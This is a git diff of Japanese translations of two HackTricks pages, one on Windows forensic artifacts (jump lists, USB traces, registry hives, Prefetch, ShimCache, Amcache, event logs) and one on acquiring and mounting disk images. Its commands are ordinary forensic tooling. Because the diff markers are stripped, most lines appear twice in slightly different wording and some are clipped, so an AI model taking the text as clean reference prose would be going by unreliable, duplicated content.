これは、アプリケーションごとに示される最近使用されたファイルです。それぞれのアプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成**されることがあります。
自動的に作成された**ジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである形式に従って名前が付けられます。
**自動的に作成されるジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである形式`{id}.autmaticDestinations-ms`に従って名前が付けられます。
カスタムジャンプリストは`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これはファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。
カスタムジャンプリストは`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これはファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。
のジャンプリストの**作成時刻**は、**ファイルにアクセスされた最初の時間**を示し、**変更時刻**は最後の時間を示します。
んなジャンプリストの**作成時刻**も、**ファイルにアクセスされた最初の時間**を示し、**変更時刻は最後の時間**を示します。
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。
@ -132,31 +132,31 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### シェルバッグ
[**ちらのリンク**](interesting-windows-registry-keys.md#shellbags)を参照して、シェルバッグとは何かを学びます。
[**シェルバッグとは何かを学ぶには、このリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags)
## Windows USBの使用
USBデバイスが使用されたことを特定することが可能です。これは次のように作成されます
* Windows最近使用したフォルダ
* Microsoft Office最近使用したフォルダ
* Windows Recentフォルダ
* Microsoft Office Recentフォルダ
* ジャンプリスト
オリジナルのパスを指す代わりに、一部のLNKファイルはWPDNSEフォルダを指します
一部のLNKファイルは、元のパスを指す代わりにWPDNSEフォルダを指すことに注意してください。
![](<../../../.gitbook/assets/image (476).png>)
フォルダWPDNSE内のファイルはオリジナルのファイルのコピーであり、したがってPCの再起動を行うと残存しません。GUIDはシェルバッグから取得されます。
フォルダWPDNSE内のファイルは、元のファイルのコピーであり、したがってPCの再起動を行うと消えます。GUIDはシェルバッグから取得されます。
### レジストリ情報
USB接続されたデバイスに関する興味深い情報を含むレジストリキーについては、[このページを確認してください](interesting-windows-registry-keys.md#usb-information)。
USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページを参照してください](interesting-windows-registry-keys.md#usb-information)。
### setupapi
USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
@ -166,7 +166,7 @@ USB接続が行われたタイムスタンプを取得するには、ファイ
### プラグアンドプレイのクリーンアップ
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが明示されているにもかかわらず、オンラインソースによると、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる場合があります。
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが指定されているにもかかわらず、オンラインソースによると、過去30日間接続されていないドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。
タスクは次の場所にあります:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`
@ -183,11 +183,11 @@ USB接続が行われたタイムスタンプを取得するには、ファイ
この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合のタスクの再試行が規定されています。
**詳細については、次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
**詳細については、次を参照してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## メール
メールには**2つの興味深い部分が含まれます: ヘッダーとメールの内容**です。**ヘッダー**には次のような情報が含まれます:
メールには**2つの興味深い部分が含まれています: ヘッダーとメールの内容**です。**ヘッダー**には次のような情報が含まれます:
* メールを送信した**誰**メールアドレス、IP、メールをリダイレクトしたメールサーバー
* メールがいつ送信されたか
@ -200,7 +200,7 @@ USB接続が行われたタイムスタンプを取得するには、ファイ
このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存されます。メールは`.dat`拡張子で保存されます。
メールの**メタデータ**と**連絡先**は**EDBデータベース**内にあります:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
メールの**メタデータ**と**連絡先**は**EDBデータベース**内に見つけることができます:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
ファイルの拡張子を`.vol`から`.edb`に変更し、[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)ツールを使用して開くことができます。`Message`テーブル内にメールが表示されます。
@ -236,45 +236,45 @@ PSTファイルは、[**Kernel PST Viewer**](https://www.nucleustechnologies.com
### Thunderbird MBOX Files
**Thunderbird**はデータを格納するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。
**Thunderbird**はデータを格納するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`に配置されています。
### 画像サムネイル
- **Windows XPおよび8-8.1**:サムネイルが含まれるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。
- **Windows 7/10**UNCパスを介してネットワークアクセスすると`thumbs.db`が作成されます。
- **Windows 7/10**UNCパスを介してネットワーク経由でアクセスすると`thumbs.db`が作成されます。
- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルがあります。[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)はこれらのファイルを表示するためのツールです。
### Windowsレジストリ情報
Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを格納しており、次のファイルに含まれています
- `HKEY_LOCAL_MACHINE`のさまざまなサブキーには`%windir%\System32\Config`にあります。
- `HKEY_CURRENT_USER`には`%UserProfile%{User}\NTUSER.DAT`にあります。
- Windows Vista以降のバージョンでは、`HKEY_LOCAL_MACHINE`レジストリファイルは`%Windir%\System32\Config\RegBack\`にバックアップされます。
- さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に格納されます。
- `HKEY_LOCAL_MACHINE`のさまざまなサブキーには、`%windir%\System32\Config`に格納されています。
- `HKEY_CURRENT_USER`には、`%UserProfile%{User}\NTUSER.DAT`に格納されています。
- Windows Vista以降のバージョンでは、`%Windir%\System32\Config\RegBack\`に`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップがあります。
- さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に格納されています。
### ツール
いくつかのツールがレジストリファイルを分析するのに役立ちます:
* **レジストリエディタ**Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでそれらをナビゲートできます。興味深い情報を持つキーをハイライトするブックマークも含まれています。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html)レジストリから重要な情報を抽出できる別のGUIアプリケーションです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでそれらをナビゲートできます。興味深い情報を示すブックマークを含んでいます。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIを備えており、ロードされたレジストリ内の興味深い情報を強調するプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出することができる別のGUIアプリケーションです。
### 削除された要素の回復
キーが削除されると、それがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。
キーが削除されると、それがマークされますが、その領域が必要とされるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。
### 最終更新時刻
### 最終書き込み時刻
各キー値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。
### SAM
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、ユーザーパスワード**のハッシュが含まれています。
`SAM\Domains\Account\Users`は、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日などが含まれます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。
`SAM\Domains\Account\Users`は、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日などを取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。
### Windowsレジストリの興味深いエントリ
@ -290,19 +290,21 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
### Windows最近のアプリ
レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最終実行時刻**、**実行回数**に関する情報が含まれるサブキーがあります。
レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最終実行時刻**、**起動回数**に関する情報が含まれるサブキーがあります。
### BAMバックグラウンドアクティビティモデレーター
レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内には、各ユーザーが実行した**アプリケーションに関する情報**(パス内の`{SID}`に注意)および**実行時刻**が含まれていますレジストリのData値内に時刻があります
レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内には、各ユーザーが実行した**アプリケーションに関する情報**(パス内の`{SID}`に注意)**実行時刻**が含まれていますレジストリのData値内に時刻があります
### Windows Prefetch
プリフェッチは、ユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得**する技術です。Windowsプリフェッチは、実行されたプログラムの**キャッシュを作成**してそれらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。
プリフェッチは、ユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得**する技術です。
ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10ではこれらのファイルが圧縮されています。ファイルが存在するだけで、そのプログラムが**ある時点で実行された**ことを示しています。
Windowsプリフェッチは、**実行されたプログラムのキャッシュ**を作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。
ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダ名**に関する情報が含まれています。このファイルには、**実行回数**、**実行日**、およびプログラムによって**開かれたファイル**に関する情報が含まれています。
ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10ではこれらのファイルが圧縮されています。ファイルが存在するだけで、そのプログラムが過去に**実行された**ことを示しています。
ファイル`C:\Windows\Prefetch\Layout.ini`には、プリフェッチされたファイルのフォルダ名に関する情報が含まれています。このファイルには、**実行回数**、**実行日**、およびプログラムによって**開かれたファイル**に関する情報が含まれています。
これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。
```bash
@ -315,7 +317,7 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
**Superprefetch**は、prefetchと同じ目標を持ち、次に読み込まれるものを予測して**プログラムを高速に読み込む**ことです。ただし、prefetchサービスを置き換えるものではありません。\
このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。
これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。
これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。
この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)ツールを使用してアクセスできます。
@ -339,17 +341,17 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
### AppCompatCacheShimCache
**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**Application Compatibility Database**の一部であり、アプリケーションの互換性の問題に対処するためのものです。このシステムコンポーネントは、次のファイルメタデータを記録します:
**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**アプリケーション互換性データベース**の一部であり、アプリケーションの互換性の問題に対処するために使用されます。このシステムコンポーネントは、次のファイルメタデータを記録します
- ファイルの完全なパス
- ファイルのサイズ
- **$Standard\_Information**SIの下の最終更時刻
- **$Standard\_Information**SIの下の最終更時刻
- ShimCacheの最終更新時刻
- プロセス実行フラグ
このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます:
このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます
- XPの場合、データは`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`に保存され、96エントリを格納できます。
- Server 2003、およびWindowsバージョン2008、2012、2016、7、8、および10の場合、ストレージパスは`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`で、それぞれ512および1024エントリを収容します。
@ -364,7 +366,7 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク
このファイルは、実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。
**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力する方法の例です:
**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するためのAmcacheParserの使用例です
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
@ -374,9 +376,9 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### RecentFileCache
このアーティファクトは、W7でのみ`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`に見つけることができ、いくつかのバイナリの最近の実行に関する情報を含んでいます。
このアーティファクトは、`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみW7で見つけることができ、いくつかのバイナリの最近の実行に関する情報を含んでいます。
ファイルを解析するために[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。
ファイルを解析するには、[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。
### スケジュールされたタスク
@ -384,17 +386,16 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### サービス
これらは`SYSTEM\ControlSet001\Services`のレジストリ内に見つけることができます。実行される内容と実行されるタイミングを確認できます。
これらはレジストリ内の`SYSTEM\ControlSet001\Services`にあります。実行される内容や実行時刻を確認できます。
### **Windowsストア**
インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\
このリポジトリには、システム内の各アプリケーションがデータベース内の**`StateRepository-Machine.srd`**という**ログ**に**インストールされた**アプリケーションが含まれています。
このリポジトリには、システム内の各アプリケーションのインストールに関する**`StateRepository-Machine.srd`**データベース内の**ログ**があります。
このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、事前にインストールされたアプリケーションインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。
このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、事前にインストールされたアプリケーションインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。
また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内に**インストールされたアプリケーション**を見つけることができます。\
そして**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。
また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内に**インストールされたアプリケーション**、`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`内に**アンインストールされたアプリケーション**が見つかります。
## Windowsイベント
@ -406,38 +407,38 @@ Windowsイベント内に表示される情報は次のとおりです
* 関与するホストホスト名、IP
* アクセスされたアセット(ファイル、フォルダ、プリンター、サービス)
ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、その後は**XML形式**であり、**.evtx**拡張子を使用します。
ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、その後は**XML形式**であり、**.evtx**拡張子が使用されます。
イベントファイルの場所は、SYSTEMレジストリ内の**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**にあります。
Windowsイベントビューアー**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com) **** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**などの他のツールで**表示できます。
Windowsイベントビューアー**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)****などの他のツールで表示できます。
## Windowsセキュリティイベントの理解
セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。
セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。
#### システムの電源イベント
EventID 6005 はシステムの起動を示し、EventID 6006 はシャットダウンを示します。
#### ログの削除
セキュリティ EventID 1102 はログの削除を示し、れは法的解析において重要なイベントです。
セキュリティ EventID 1102 はログの削除を示し、れは法的解析において重要なイベントです。
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有する
</details>

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -31,7 +31,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### FTKイメージャ
[**こちらからFTKイメージャをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
[**こからFTKイメージャをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```
@ -58,7 +58,7 @@ ewfacquire /dev/sdb
### いくつかのタイプ
**Windows**では、無料版のArsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) を使用して、**フォレンジックイメージをマウント**することができます。
**Windows**では、Arsenal Image Mounterの無料版を使用して、[https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)で**フォレンジックイメージをマウント**することができます。
### Raw
```bash
@ -69,8 +69,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
#Mount it
mount evidence.img /mnt
```
### EWF
### EWF
```bash
#Get file type
@ -88,12 +86,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
Windowsアプリケーションでボリュームをマウントします。[こちら](https://arsenalrecon.com/downloads/)からダウンロードできます。
ボリュームをマウントするためのWindowsアプリケーションです。[こちら](https://arsenalrecon.com/downloads/)からダウンロードできます。
### エラー
- **`/dev/loop0を読み取り専用でマウントできません`** この場合、**`-o ro,norecovery`** フラグを使用する必要があります。
- **`/dev/loop0のファイルシステムタイプが間違っています。オプションが不正です。スーパーブロックが不正です。codepageやヘルパープログラムが不足しているか、その他のエラーが発生しています。`** この場合、ファイルシステムのオフセットがディスクイメージと異なるため、マウントに失敗しました。セクターサイズと開始セクターを見つける必要があります。
* **`cannot mount /dev/loop0 read-only`** この場合、フラグ **`-o ro,norecovery`** を使用する必要があります。
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** この場合、ファイルシステムのオフセットがディスクイメージのものと異なるため、マウントに失敗しました。セクターサイズと開始セクターを見つける必要があります。
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -106,22 +104,22 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
セクターサイズが**512**で、開始位置が**2048**であることに注意して、次のようにイメージをマウントします:
注意してください。セクターサイズは**512**で、開始位置は**2048**です。次に、次のようにイメージをマウントします:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
